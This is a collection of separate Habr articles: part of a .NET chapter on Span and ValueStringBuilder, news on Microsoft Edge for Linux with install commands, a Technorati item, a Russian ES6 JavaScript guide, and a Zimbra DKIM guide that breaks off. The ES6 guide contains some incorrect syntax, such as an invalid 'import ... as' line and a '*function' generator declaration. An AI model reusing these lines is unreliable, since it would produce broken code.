}
// Missing methods: the situation is crystal clear
private void AppendSlow(string s);
public bool TryCopyTo(Span destination, out int charsWritten);
public void Append(string s);
public void Append(char c, int count);
public unsafe void Append(char\* value, int length);
public Span AppendSpan(int length);
}
```
This class is functionally similar to its senior fellow `StringBuilder`, although having one interesting and very important feature: it is a value type. That means it is stored and passed entirely by value. Also, a new `ref` type modifier, which is a part of a type declaration signature, indicates that this type has an additional constraint: it can be allocated only on the stack. I mean passing its instances to class fields will produce an error. What is all this stuff for? To answer this question, you just need to look at the `StringBuilder` class, the essence of which we have just described:
**StringBuilder class** [/src/mscorlib/src/System/Text/StringBuilder.cs](https://github.com/dotnet/coreclr/blob/68f72dd2587c3365a9fe74d1991f93612c3bc62a/src/mscorlib/src/System/Text/StringBuilder.cs#L47-L62)
```
public sealed class StringBuilder : ISerializable
{
// A StringBuilder is internally represented as a linked list of blocks each of which holds
// a chunk of the string. It turns out string as a whole can also be represented as just a chunk,
// so that is what we do.
internal char[] m_ChunkChars; // The characters in this block
internal StringBuilder m_ChunkPrevious; // Link to the block logically before this block
internal int m_ChunkLength; // The index in m_ChunkChars that represent the end of the block
internal int m_ChunkOffset; // The logical offset (sum of all characters in previous blocks)
internal int m_MaxCapacity = 0;
// ...
internal const int DefaultCapacity = 16;
```
`StringBuilder` is a class that contains a reference to an array of characters. Thus, when you create it, there appear two objects in fact: `StringBuilder` and an array of characters which is at least 16 characters in size. This is why it is essential to set the expected length of a string: it will be built by generating a single linked list of arrays with 16 characters each. Admit, that is a waste. In terms of `ValueStringBuilder` type, it means no default `capacity`, as it borrows external memory. Also, it is a value type, and it makes a user allocate a buffer for characters on the stack. Thus, the whole instance of a type is put on the stack together with its contents and the issue of optimization is solved. As there is no need to allocate memory on the heap, there are no problems with a decrease in performance when dealing with the heap. So, you might have a question: why don’t we always use `ValueStringBuilder` (or its custom analog as we cannot use the original because it is internal)? The answer is: it depends on a task. Will a resulting string have a definite size? Will it have a known maximum length? If you answer “yes” and if the string doesn’t exceed reasonable boundaries, you can use the value version of `StringBuilder`. However, if you expect lengthy strings, use the usual version.
#### ValueListBuilder
```
internal ref partial struct ValueListBuilder
{
private Span \_span;
private T[] \_arrayFromPool;
private int \_pos;
public ValueListBuilder(Span initialSpan)
{
\_span = initialSpan;
\_arrayFromPool = null;
\_pos = 0;
}
public int Length { get; set; }
public ref T this[int index] { get; }
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public void Append(T item);
public ReadOnlySpan AsSpan();
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public void Dispose();
private void Grow();
}
```
The second type of data that I especially want to note is the `ValueListBuilder` type. It is used when you need to create a collection of elements for a short time and pass it to an algorithm for processing.
Admit, this task looks pretty similar to the `ValueStringBuilder` task. And it is solved in a similar way:
**File ValueListBuilder.cs** [coreclr/src/../Generic/ValueListBuilder.cs](https://github.com/dotnet/coreclr/blob/dbaf2957387c5290a680c8918779683194137b1d/src/System.Private.CoreLib/shared/System/Collections/Generic/ValueListBuilder.cs)
To put it clearly, these situations are often. However, previously we solved the issue another way. We used to create a `List`, fill it with data and lose the reference to it. If the method is called frequently, this will lead to a sad situation: many `List` instances (and associated arrays) get suspended on the heap. Now this problem is solved: no additional objects will be created. However, as in case of `ValueStringBuilder` it is solved only for Microsoft programmers: this class has the `internal` modifier.
### Rules and use practice
To fully understand the new type of data you need to play with it by writing two or three or better more methods that use it. However, it is possible to learn main rules right now:
* If your method processes some input dataset without changing its size, you may try to stick to the `Span` type. If you are not going to modify buffer, choose the `ReadOnlySpan` type;
* If your method handles strings calculating some statistics or parsing these strings, it *must* accept `ReadOnlySpan`. Must is a new rule. Because when you accept a string, you make somebody create a substring for you;
* If you need to create a short data array (no more than 10 kB) for a method, you can easily arrange that using `Span buf = stackalloc TType[size]`. Note that TType should be a value type as `stackalloc` works with value types only.
In other cases, you’d better look closer at `Memory` or use classic data types.
### How does Span work?
I would like to say a few additional words on how `Span` functions and why it is that notable. And there is something to talk about. This type of data has two versions: one for .NET Core 2.0+ and the other for the rest.
**File Span.Fast.cs, .NET Core 2.0** [coreclr/.../System/Span.Fast.cs](https://github.com/dotnet/coreclr/blob/38403e661a4202ca4c8a72e4bbd9a263bddeb891/src/System.Private.CoreLib/shared/System/Span.Fast.cs)\*\*
```
public readonly ref partial struct Span
{
/// A reference to a .NET object or a pure pointer
internal readonly ByReference \_pointer;
/// The length of the buffer based on the pointer
private readonly int \_length;
// ...
}
```
**File ??? [decompiled]**
```
public ref readonly struct Span
{
private readonly System.Pinnable \_pinnable;
private readonly IntPtr \_byteOffset;
private readonly int \_length;
// ...
}
```
The thing is that *huge* .NET Framework and .NET Core 1.\* don’t have a garbage collector updated in a special way (unlike .NET Core 2.0+) and they have to use an additional pointer to the beginning of a buffer in use. That means, that internally `Span` handles managed .NET objects as though they are unmanaged. Just look into the second variant of the structure: it has three fields. The first one is a reference to a manged object. The second one is the offset in bytes from the beginning of this object, used to define the beginning of the data buffer (in strings this buffer contains `char` characters while in arrays it contains the data of an array). Finally, the third field contains the quantity of elements in the buffer laid in a row.
Let’s see how `Span` handles strings, for example:
**File MemoryExtensions.Fast.cs**
[coreclr/../MemoryExtensions.Fast.cs](https://github.com/dotnet/coreclr/blob/2b50bba8131acca2ab535e144796941ad93487b7/src/System.Private.CoreLib/shared/System/MemoryExtensions.Fast.cs#L409-L416)
```
public static ReadOnlySpan AsSpan(this string text)
{
if (text == null)
return default;
return new ReadOnlySpan(ref text.GetRawStringData(), text.Length);
}
```
Where `string.GetRawStringData()` looks the following way:
**A file with the definition of fields** [coreclr/../System/String.CoreCLR.cs](https://github.com/dotnet/coreclr/blob/2b50bba8131acca2ab535e144796941ad93487b7/src/System.Private.CoreLib/src/System/String.CoreCLR.cs#L16-L23)
**A file with the definition of GetRawStringData** [coreclr/../System/String.cs](https://github.com/dotnet/coreclr/blob/2b50bba8131acca2ab535e144796941ad93487b7/src/System.Private.CoreLib/shared/System/String.cs#L462)
```
public sealed partial class String :
IComparable, IEnumerable, IConvertible, IEnumerable,
IComparable, IEquatable, ICloneable
{
//
// These fields map directly onto the fields in an EE StringObject. See object.h for the layout.
//
[NonSerialized] private int \_stringLength;
// For empty strings, this will be '\0' since
// strings are both null-terminated and length prefixed
[NonSerialized] private char \_firstChar;
internal ref char GetRawStringData() => ref \_firstChar;
}
```
It turns out the method directly accesses the inside of the string, while the `ref char` specification allows GC to track an unmanaged reference to that inside of the string by moving it together with the string when GC is active.
The same thing is with arrays: when `Span` is created, some internal JIT code calculates the offset for the beginning of the data array and initializes `Span` with this offset. The way you can calculate the offset for strings and arrays was discussed in the chapter about the structure of objects in memory (.\ObjectsStructure.md).
### Span as a returned value
Despite all the harmony, `Span` has some logical but unexpected constraints on its return from a method. If we look at the following code:
```
unsafe void Main()
{
var x = GetSpan();
}
public Span GetSpan()
{
Span reff = new byte[100];
return reff;
}
```
we can see it is logical and good. However, if we replace one instruction with another:
```
unsafe void Main()
{
var x = GetSpan();
}
public Span GetSpan()
{
Span reff = stackalloc byte[100];
return reff;
}
```
a compiler will prohibit it. Before I say why, I would like you to guess which problems this construct brings.
Well, I hope you thought, guessed and maybe even understood the reason. If yes, my efforts to writing a detailed chapter about a [thread stack] (./ThreadStack.md) paid off. Because when you return a reference to local variables from a method that finishes its work, you can call another method, wait until it finishes its work too, and then read values of those local variables using x[0.99].
Fortunately, when we attempt to write such code a compiler slaps on our wrists by warning: `CS8352 Cannot use local 'reff' in this context because it may expose referenced variables outside of their declaration scope`. The compiler is right because if you bypass this error, there will be a chance, while in a plug-in, to steal the passwords of others or to elevate privileges for running our plug-in.
> This chapter was translated from Russian jointly by author and by [professional translators](https://github.com/bartov-e). You can help us with translation from Russian or English into any other language, primarily into Chinese or German.
>
>
>
> Also, if you want thank us, the best way you can do that is to give us a star on github or to fork repository [ github/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook).
>
> | https://habr.com/ru/post/443976/ | null | en | null |
# Вышел Microsoft Edge для Linux
20 октября 2020 года в канале Dev программы Microsoft Edge Insider для разработчиков стала [доступна](https://www.microsoftedgeinsider.com/ru-ru/?form=MO12HB&OCID=MO12HB) первая сборка браузера Microsoft Edge для Linux (версия 88.0.673.0-1).
Microsoft Edge для Linux поддерживает управление мобильными приложениями ([MAM](https://docs.microsoft.com/ru-ru/mem/intune/apps/mam-faq), mobile application management), плавную прокрутку, расширения Google, темы.
Разработчик предупреждает, что при установке Microsoft Edge в систему для Linux будет добавлен репозиторий Microsoft. Это необходимо для того, чтобы система автоматически обновляла Microsoft Edge.
Системные администраторы в Microsoft Edge для Linux могут ограничивать доступ корпоративным пользователям на различные веб-страницы. В планах разработчиков добавить в браузер поддержку [WebView2](https://habr.com/ru/company/microsoft/blog/516224/) и расширения Visual Studio Code 1.0.
Microsoft [пояснила](https://www.bleepingcomputer.com/news/microsoft/microsoft-edge-for-linux-released-how-to-install/), что выпустила Microsoft Edge для Linux также для того, чтобы помочь разработчикам создавать и тестировать свои сайты или приложения в Linux.
Ограничения текущей сборки Microsoft Edge для Linux: могут не работать некоторые функции и службы, например, отсутствует возможность синхронизации настроек, закладок и истории навигации. Вдобавок пользователи могут использовать только свои локальные учетные записи для в хода и настройки Edge и не могут входить в Microsoft Edge через учетную запись Microsoft или AAD (Azure Active Directory).
Сейчас доступны сборки Microsoft Edge для Linux под Ubuntu, Debian, Fedora и openSUSE. Microsoft подтвердила, что пользователи могут загружать браузер как в пакете .deb, так и в пакете .rpm прямо с веб-сайта компании. Но для полноценной установки браузера системный администратор вручную должен использовать терминал и дополнительные консольные команды.
Как установить Microsoft Edge в Ubuntu/Debian:
* нужно настроить репозиторий Microsoft, выполнив следующие команды:
```
curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg
sudo install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/
sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > /etc/apt/sources.list.d/microsoft-edge-dev.list'
sudo rm microsoft.gpg
```
* команды для установки Microsoft Edge Dev Linux:
```
sudo apt update
sudo apt install microsoft-edge-dev
```
Как установить Microsoft Edge в Fedora:
* нужно настроить репозиторий Microsoft, выполнив следующие команды:
```
sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
sudo dnf config-manager --add-repo https://packages.microsoft.com/yumrepos/edge
sudo mv /etc/yum.repos.d/packages.microsoft.com_yumrepos_edge.repo /etc/yum.repos.d/microsoft-edge-dev.repo
```
* команда для установки Microsoft Edge Dev Linux:
```
sudo dnf install microsoft-edge-dev
```
Как установить Microsoft Edge в openSUSE:
* нужно настроить репозиторий Microsoft, выполнив следующие команды:
```
sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
sudo zypper ar https://packages.microsoft.com/yumrepos/edge microsoft-edge-dev
```
* команды для установки Microsoft Edge Dev Linux:
```
sudo zypper refresh
sudo zypper install microsoft-edge-dev
```
Эксперт портала ZDNet [установил](https://www.zdnet.com/article/microsoft-edge-browser-on-linux-surprisingly-good/) Microsoft Edge на свой ноутбук с Linux Mint 20 и протестировал браузер.
В тесте JetStream 2.0 браузер Edge получил оценку 136.971, Chrome 132.413 и Firefox — 102.131. Чем выше результат, тем лучше.
В Kraken 1.1 FirefoxFirefox выполнил все тесты за 810.1 мс, Chrome за 904.5, а Edge за 958.8 мс.
В Octane 2.0 Edge получил 52 149 очка, Chrome 51 389, Firefox 37 405.
Microsoft [выпустила](https://habr.com/ru/news/t/484162/) стабильную версию браузера Microsoft Edge на базе Chromium 15 января 2020 года. После ее релиза Microsoft [заявила](https://microsoftedgewelcome.microsoft.com/ru-ru/), что новый Edge «является единственным браузером, оптимизированным для Windows 10». Вдобавок компания [опубликовала](https://thirdpartysource.microsoft.com/) исходный код некоторых компонентов браузера (в фильтре набрать: microsoft edge).
> См. также:
>
>
>
> * «[Microsoft открыла исходный код GW-BASIC](https://habr.com/ru/news/t/503384/)»
> * «[Microsoft выпустила утилиту ProcMon (Process Monitor) для Linux](https://habr.com/ru/news/t/511876/)»
> * «[Microsoft выпустила собственный инструмент для восстановления удалённых файлов — Windows File Recovery](https://habr.com/ru/news/t/508942/)»
> * «[В Windows 10 появился собственный сниффер трафика pktmon, как запустить и пользоваться](https://habr.com/ru/news/t/502546/)»
> * «[Microsoft добавила в подсистему Windows для Linux 2 (WSL2) возможность монтирования дисков](https://habr.com/ru/news/t/518806/)»
> | https://habr.com/ru/post/524396/ | null | ru | null |
# Новый Technorati: теперь не только блоги
Механизм поиска блогов [Technorati](http://www.technorati.com/) кардинально обновился: изменения затронули как содержание, так и внешний вид.
Technorati теперь не сфокусирован только на блогах, но также осуществляет поиск мультимедийных данных. Как отметил [в своем блоге](http://www.sifry.com/alerts/archives/000501.html) CEO Dave Sifry, такое обновление вызвано меняющейся аудиторией — сервис использует все больше число простых интернет-пользователей.
**UPD:** Новость уже опубликована [здесь](http://www.habrahabr.ru/blog/blogosphere/12445.html).
Первое, что бросается в глаза — полный редизайн главной страницы:
В Technorati теперь нет специальных поисковых запросов (поиск по ключевому слову, поиск по тэгам, поиск по каталогу блогов), вместо этого сделана единая строка поиска. Все запросы вида `technorati.com/tag/query` возвращают результаты поиска по блогам, видео, аудио, фотографиям прямо на первой странице. Используя табы, можно ограничить результаты поиска по какому-либо конкретному типу данных.
Впрочем, возможность поиска только по блогам сохранили: [http://search.technorati.com](http://search.technorati.com/).
via TechCrunch | https://habr.com/ru/post/8794/ | null | ru | null |
# Руководство по JavaScript, часть 8: обзор возможностей стандарта ES6
Сегодня, в восьмой части перевода руководства по JavaScript, мы сделаем обзор возможностей языка, которые появились в нём после выхода стандарта ES6. Мы, так или иначе, сталкивались со многими из этих возможностей ранее, где-то останавливаясь на них подробнее, где-то принимая как нечто само собой разумеющееся. Этот раздел руководства призван, наряду с раскрытием некоторых тем, которых мы ранее не касались, упорядочить знания начинающего разработчика в области современного JavaScript.
→ [Часть 1: первая программа, особенности языка, стандарты](https://habr.com/company/ruvds/blog/429552/)
→ [Часть 2: стиль кода и структура программ](https://habr.com/company/ruvds/blog/429556/)
→ [Часть 3: переменные, типы данных, выражения, объекты](https://habr.com/company/ruvds/blog/429838/)
→ [Часть 4: функции](https://habr.com/company/ruvds/blog/430382/)
→ [Часть 5: массивы и циклы](https://habr.com/company/ruvds/blog/430380/)
→ [Часть 6: исключения, точка с запятой, шаблонные литералы](https://habr.com/company/ruvds/blog/430376/)
→ [Часть 7: строгий режим, ключевое слово this, события, модули, математические вычисления](https://habr.com/company/ruvds/blog/431072/)
→ [Часть 8: обзор возможностей стандарта ES6](https://habr.com/company/ruvds/blog/431074/)
→ [Часть 9: обзор возможностей стандартов ES7, ES8 и ES9](https://habr.com/company/ruvds/blog/431872/)
[](https://habr.com/company/ruvds/blog/431074/)
О стандарте ES6
---------------
Стандарт ES6, который правильнее было бы называть ES2015 или ECMAScript 2015 (это — его официальные наименования, хотя все называют его ES6), появился через 4 года после выхода предыдущего стандарта — ES5.1. На разработку всего того, что вошло в стандарт ES5.1, ушло около десяти лет. В наши дни всё то, что появилось в этом стандарте, превратилось в привычные инструменты JS-разработчика. Надо отметить, что ES6 внёс в язык серьёзнейшие изменения (сохраняя обратную совместимость с его предыдущими версиями). Для того чтобы оценить масштаб этих изменений, можно отметить, что размер документа, описывающего стандарт ES5, составляет примерно 250 страниц, а стандарт ES6 описывается в документе, состоящем уже из приблизительно 600 страниц.
В перечень наиболее важных новшеств стандарта ES2015 можно включить следующие:
* Стрелочные функции
* Промисы
* Генераторы
* Ключевые слова `let` и `const`
* Классы
* Модули
* Поддержка шаблонных литералов
* Поддержка параметров функций, задаваемых по умолчанию
* Оператор spread
* Деструктурирующее присваивание
* Расширение возможностей объектных литералов
* Цикл `for...of`
* Поддержка структур данных `Map` и `Set`
Рассмотрим эти возможности.
Стрелочные функции
------------------
Стрелочные функции изменили внешний вид и особенности работы JavaScript-кода. С точки зрения внешнего вида их использование делает объявления функций короче и проще. Вот объявление обычной функции.
```
const foo = function foo() {
//...
}
```
А вот практически такая же (хотя и не полностью аналогичная вышеобъявленной) стрелочная функция.
```
const foo = () => {
//...
}
```
Если тело стрелочной функции состоит лишь из одной строки, результат выполнения которой нужно из этой функции вернуть, то записывается она ещё короче.
```
const foo = () => doSomething()
```
Если стрелочная функция принимает лишь один параметр, записать её можно следующим образом.
```
const foo = param => doSomething(param)
```
Надо отметить, что с появлением стрелочных функций обычные функции никуда не делись, их всё так же можно использовать в коде, работают они так же, как и прежде.
Особенности ключевого слова this в стрелочных функциях
------------------------------------------------------
У стрелочных функций нет собственного значения `this`, они наследуют его из контекста выполнения.
Это устраняет проблему, для решения которой при использовании обычных функций приходилось, для сохранения контекста, использовать конструкции наподобие `var that = this`. Однако, как было показано в предыдущих частях руководства, это изменение серьёзно сказывается на особенностях работы со стрелочными функциями и на сфере их применения.
Промисы
-------
Промисы позволяют избавиться от широко известной проблемы, называемой «адом коллбэков», хотя их использование подразумевает применение достаточно сложных структур. Эта проблема была решена в стандарте ES2017 с появлением конструкции `async/await`, которая основана на промисах.
JavaScript-разработчики использовали промисы и до появления стандарта ES2015, применяя для этого различные библиотеки (например — jQuery, q, deferred.js, vow). Это говорит о важности и востребованности данного механизма. Разные библиотеки реализуют его по-разному, появление стандарта в этой области можно считать весьма позитивным фактом.
Вот код, написанный с использованием функций обратного вызова (коллбэков).
```
setTimeout(function() {
console.log('I promised to run after 1s')
setTimeout(function() {
console.log('I promised to run after 2s')
}, 1000)
}, 1000)
```
С использованием промисов это можно переписать следующим образом.
```
const wait = () => new Promise((resolve, reject) => {
setTimeout(resolve, 1000)
})
wait().then(() => {
console.log('I promised to run after 1s')
return wait()
})
.then(() => console.log('I promised to run after 2s'))
```
Генераторы
----------
Генераторы — это особые функции, которые могут приостанавливать собственное выполнение и возобновлять его. Это позволяет, пока генератор находится в состоянии ожидания, выполняться другому коду.
Генератор самостоятельно принимает решение о том, что ему нужно приостановиться и позволить другому коду, «ожидающему» своей очереди, выполниться. При этом у генератора есть возможность продолжить своё выполнение после того, как та операция, результатов выполнения которой он ждёт, окажется выполненной.
Всё это делается благодаря единственному простому ключевому слову `yield`. Когда в генераторе встречается это ключевое слово — его выполнение приостанавливается.
Генератор может содержать множество строк с этим ключевым словом, приостанавливая собственное выполнение несколько раз. Генераторы объявляют с использованием конструкции `*function`. Эту звёздочку перед словом `function` не стоит принимать за нечто вроде оператора разыменования указателя, применяемого в языках наподобие C, C++ или Go.
Генераторы знаменуют своим появлением новую парадигму программирования на JavaScript. В частности, они дают возможность двустороннего обмена данными между генератором и другим кодом, позволяют создавать долгоживущие циклы `while`, которые не «подвешивают» программу.
Рассмотрим пример, иллюстрирующий особенности работы генераторов. Вот сам генератор.
```
function *calculator(input) {
var doubleThat = 2 * (yield (input / 2))
var another = yield (doubleThat)
return (input * doubleThat * another)
}
```
Такой командой мы его инициализируем.
```
const calc = calculator(10)
```
Затем мы обращаемся к его итератору.
```
calc.next()
```
Эта команда запускает итератор, она возвращает такой объект.
```
{
done: false
value: 5
}
```
Здесь происходит следующее. В коде выполняется функция, использующая значение `input`, переданное конструктору генератора. Код генератора выполняется до тех пор, пока в нём не встретится ключевое слово `yield`. В этот момент он возвращает результат деления `input` на `2`, что, так как `input` равняется `10`, даёт число `5`. Это число мы получаем благодаря итератору, и, вместе с ним, указание на то, что работа генератора пока не завершена (свойство `done` в объекте, возвращённом итератором, установлено в значение `false`), то есть, функция пока лишь приостановлена.
При следующем вызове итератора мы передаём в генератор число `7`.
```
calc.next(7)
```
В ответ на это итератор возвращает нам следующий объект.
```
{
done: false
value: 14
}
```
Здесь число `7` было использовано при вычислении значения `doubleThat`.
На первый взгляд может показаться, что код `input / 2` представляет собой нечто вроде аргумента некоей функции, но это — лишь значение, возвращаемое на первой итерации. Здесь мы это значение пропускаем и используем новое входное значение `7`, умножая его на `2`. После этого мы доходим до второго ключевого слова `yield`, в результате значение, полученное на второй итерации, равняется `14`.
На следующей итерации, которая является последней, мы передаём в генератор число `100`.
```
calc.next(100)
```
В ответ получаем следующий объект.
```
{
done: true
value: 14000
}
```
Итерация завершена (в генераторе больше не встречается ключевое слово `yield`), в объекте возвращается результат вычисления выражения `(input * doubleThat * another)`, то есть — `10 * 14 * 100` и указание на завершение работы итератора (`done: true`).
Ключевые слова let и const
--------------------------
В JavaScript для объявления переменных всегда использовалось ключевое слово `var`. Такие переменные имеют функциональную область видимости. Ключевые слова `let` и `const` позволяют, соответственно, объявлять переменные и константы, обладающие блочной областью видимости.
Это означает, что, например, переменная, объявленная с помощью ключевого слова `let` в цикле, внутри блока `if` или внутри обычного блока кода, ограниченного фигурными скобками, за пределы этого блока не выйдет. Переменные же, объявленные с помощью `var`, в таких блоках не удерживаются, становясь доступными в функции, на уровне которой они объявлены.
Ключевое слово `const` работает так же как и `let`, но с его помощью объявляют константы, которые являются иммутабельными.
В современном JS-коде ключевое слово `var` используется редко. Оно уступило место ключевым словам `let` и `const`. При этом, что может показаться необычным, ключевое слово `const` используется сегодня весьма широко, что говорит о популярности идей иммутабельности сущностей в современном программировании.
Классы
------
Сложилось так, что JavaScript был единственным чрезвычайно широко распространённым языком, использующим модель прототипного наследования. Программисты, переходящие на JS с языков, реализующих механизм наследования, основанный на классах, чувствовали себя в такой среде неуютно. Стандарт ES2015 ввёл в JavaScript поддержку классов. Это, по сути, «синтаксический сахар» вокруг внутренних механизмов JS, использующих прототипы. Однако это влияет на то, как именно пишут JS-приложения.
Теперь механизмы наследования в JavaScript выглядят как аналогичные механизмы в других объектно-ориентированных языках.
```
class Person {
constructor(name) {
this.name = name
}
hello() {
return 'Hello, I am ' + this.name + '.'
}
}
class Actor extends Person {
hello() {
return super.hello() + ' I am an actor.'
}
}
var tomCruise = new Actor('Tom Cruise')
console.log(tomCruise.hello())
```
Эта программа выводит в консоль текст `Hello, I am Tom Cruise. I am an actor`.
В JS-классах нельзя объявлять переменные экземпляров, их нужно инициализировать в конструкторах.
### ▍Конструктор класса
У классов есть специальный метод, `constructor`, который вызывается при создании экземпляра класса с использованием ключевого слова `new`.
### ▍Ключевое слово super
Ключевое слово `super` позволяет обращаться к родительскому классу из классов-потомков.
### ▍Геттеры и сеттеры
Геттер для свойства можно задать следующим образом.
```
class Person {
get fullName() {
return `${this.firstName} ${this.lastName}`
}
}
```
Сеттер можно описать так, как показано ниже.
```
class Person {
set age(years) {
this.theAge = years
}
}
```
С геттерами и сеттерами работают так, как будто они представляют собой не функции, а обычные свойства объектов.
Модули
------
До появления стандарта ES2015 существовало несколько конкурирующих подходов к работе с модулями. В частности, речь идёт о технологиях RequireJS и CommonJS. Такая ситуация приводила к разногласиям в сообществе JS-разработчиков.
В наши дни, благодаря стандартизации модулей в ES2015, ситуация постепенно нормализуется.
### ▍Импорт модулей
Модули импортируют с использованием конструкции вида `import...from...`. Вот несколько примеров.
```
import * as something from 'mymodule'
import React from 'react'
import { React, Component } from 'react'
import React as MyLibrary from 'react'
```
### ▍Экспорт модулей
Внутренние механизмы модуля закрыты от внешнего мира, но из модуля можно экспортировать всё то, что он может предложить другим модулям. Делается это с помощью ключевого слова `export`.
```
export var foo = 2
export function bar() { /* ... */ }
```
### ▍Шаблонные литералы
Шаблонные литералы представляют собой новый способ описания строк в JavaScript. Вот как это выглядит.
```
const aString = `A string`
```
Кроме того, использование синтаксиса шаблонных литералов позволяет внедрять в строки выражения, интерполировать их. Делается это с помощью конструкции вида `${a_variable}`. Вот простой пример её использования:
```
const v = 'test'
const str = `something ${v}` //something test
```
Вот пример посложнее, иллюстрирующий возможность вычисления любых выражений и подстановки их результатов в строку.
```
const str = `something ${1 + 2 + 3}`
const str2 = `something ${foo() ? 'x' : 'y' }`
```
Благодаря использованию шаблонных литералов гораздо легче стало объявлять многострочные строки.
```
const str3 = `Hey
this
string
is awesome!`
```
Сравните это с тем, что приходилось делать для описания многострочных строк при использовании возможностей, имевшихся в языке до ES2015.
```
var str = 'One\n' +
'Two\n' +
'Three'
```
Параметры функций, задаваемые по умолчанию
------------------------------------------
Теперь функции поддерживают параметры, используемые по умолчанию — в том случае, если при вызове функций им не передаются соответствующие аргументы.
```
const foo = function(index = 0, testing = true) { /* ... */ }
foo()
```
Оператор spread
---------------
Оператор spread (оператор расширения) позволяет «раскрывать» массивы, объекты или строки. Этот оператор выглядит как три точки (`...`). Сначала рассмотрим его на примере массива.
```
const a = [1, 2, 3]
```
Вот как на основании этого массива создать новый массив.
```
const b = [...a, 4, 5, 6]
```
Вот как создать копию массива.
```
const c = [...a]
```
Этот оператор работает и с объектами. Например — вот как с его помощью можно клонировать объект.
```
const newObj = { ...oldObj }
```
Применив оператор spread к строке, можно преобразовать её в массив, в каждом элементе которого содержится один символ из этой строки.
```
const hey = 'hey'
const arrayized = [...hey] // ['h', 'e', 'y']
```
Этот оператор, помимо вышеописанных вариантов его применения, удобно использовать при вызове функций, ожидающих обычный список аргументов, с передачей им массива с этими аргументами.
```
const f = (foo, bar) => {}
const a = [1, 2]
f(...a)
```
Раньше это делалось с использованием конструкции вида `f.apply(null, a)`, но такой код и писать сложнее, и читается он хуже.
Деструктурирующее присваивание
------------------------------
Техника деструктурирующего присваивания позволяет, например, взять объект, извлечь из него некоторые значения и поместить их в именованные переменные или константы.
```
const person = {
firstName: 'Tom',
lastName: 'Cruise',
actor: true,
age: 54,
}
const {firstName: name, age} = person
```
Здесь из объекта извлекаются свойства `firstName` и `age`. Свойство `age` записывается в объявляемую тут же константу с таким же именем, а свойство `firstName`, после извлечения, попадает в константу `name`.
Деструктурирующее присваивание подходит и для работы с массивами.
```
const a = [1,2,3,4,5]
const [first, second, , , fifth] = a
```
В константы `first`, `second` и `fifth` попадут, соответственно, первый, второй и пятый элементы массива.
Расширение возможностей объектных литералов
-------------------------------------------
В ES2015 значительно расширены возможности описания объектов с помощью объектных литералов.
### ▍Упрощение включения в объекты переменных
Раньше, чтобы назначить какую-нибудь переменную свойством объекта, надо было пользоваться следующей конструкцией.
```
const something = 'y'
const x = {
something: something
}
```
Теперь то же самое можно сделать так.
```
const something = 'y'
const x = {
something
}
```
### ▍Прототипы
Прототип объекта теперь можно задать с помощью следующей конструкции.
```
const anObject = { y: 'y' }
const x = {
__proto__: anObject
}
```
### ▍Ключевое слово super
С использованием ключевого слова `super` объекты могут обращаться к объектам-прототипам. Например — для вызова их методов, имеющих такие же имена, как методы самих этих объектов.
```
const anObject = { y: 'y', test: () => 'zoo' }
const x = {
__proto__: anObject,
test() {
return super.test() + 'x'
}
}
x.test() //zoox
```
### ▍Вычисляемые имена свойств
Вычисляемые имена свойств формируются на этапе создания объекта.
```
const x = {
['a' + '_' + 'b']: 'z'
}
x.a_b //z
```
Цикл for...of
-------------
В 2009 году, в стандарте ES5, появились циклы `forEach()`. Это — полезная конструкция, к минусам которой относится тот факт, что такие циклы очень неудобно прерывать. Классический цикл `for` в ситуациях, когда выполнение цикла нужно прервать до его обычного завершения, оказывается гораздо более адекватным выбором.
В ES2015 появился цикл `for...of`, который, с одной стороны, отличается краткостью синтаксиса и удобством `forEach`, а с другой — поддерживает возможности по досрочному выходу из цикла.
Вот пара примеров цикла `for...of`.
```
//перебор значений элементов массива
for (const v of ['a', 'b', 'c']) {
console.log(v);
}
//перебор значений элементов массива с выводом их индексов благодаря использованию метода entries()
for (const [i, v] of ['a', 'b', 'c'].entries()) {
console.log(i, v);
}
```
Структуры данных Map и Set
--------------------------
В ES2015 появились структуры данных `Map` и `Set` (а также их «слабые» варианты `WeakMap` и `WeakSet`, использование которых позволяет улучшить работу «сборщика мусора» — механизма, ответственного за управление памятью в JS-движках). Это — весьма популярные структуры данных, которые, до появлениях их официальной реализации, приходилось имитировать имеющимися средствами языка.
Итоги
-----
Сегодня мы сделали обзор возможностей стандарта ES2015, которые чрезвычайно сильно повлияли на современное состояние языка. Нашей следующей темой будут особенности стандартов ES2016, ES2017 и ES2018.
**Уважаемые читатели!** Какие новшества стандарта ES6 кажутся вам наиболее полезными?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/431074/ | null | ru | null |
# Настройка DKIM, SPF и DMARC в Zimbra Collaboration Suite
Если при попытке отправить сообщение на почтовые сервера Gmail вы вдруг получили ошибку типа «Our system has detected that this message is 550-5.7.1 likely unsolicited mail. To reduce the amount of spam sent to Gmail, 550-5.7.1 this message has been blocked.», то это почти всегда значит, что на вашем почтовом сервере не настроены DKIM, SFP и DMARC. Крупные почтовые серверы (Gmail, mail.ru, Яндекс) требуют наличие данных записей. Сегодня мы расскажем, как это сделать в Zimbra Collaboration Suite.
### Настройка DKIM в Zimbra
**DKIM (DomainKeys Identified Mail)** — это метод e-mail аутентификации, основанный на проверке подлинности цифровой подписи. DKIM необходим для того, чтобы почтовые сервисы проверяли отправителя и защищали получателя письма от мошеннических рассылок, которые производятся с подменой адреса отправителя.
Метод предусматривает шифрование заголовков исходящих сообщений с помощью закрытого ключа домена, и добавление открытой версии ключа в записи DNS домена, доступного всем. MTA сервера-получателя запрашивает для расшифровки заголовков входящих сообщений открытый ключ у DNS-сервера отправителя, а затем проверяет, действительно ли сообщение отправлено от заявленного источника.
DKIM стал доступен с версии Zimbra 8.0. Настройка подписи состоит из двух этапов:
#### Первый этап: генерация ключей и селектора
Добавляем данные DKIM к домену, у которого еще нет существующей конфигурации DKIM:
`# su zimbra
$ /opt/zimbra/libexec/zmdkimkeyutil -a -d example.com`
Получаем:
`DKIM Data added to LDAP for domain example.com with selector ECAC22D2-DCA2-11E6-BA30-B554729FE32A
Public signature to enter into DNS:
ECAC22D2-DCA2-11E6-BA30-B554729FE32B._domainkey IN TXT ( "v=DKIM1; k=rsa; "
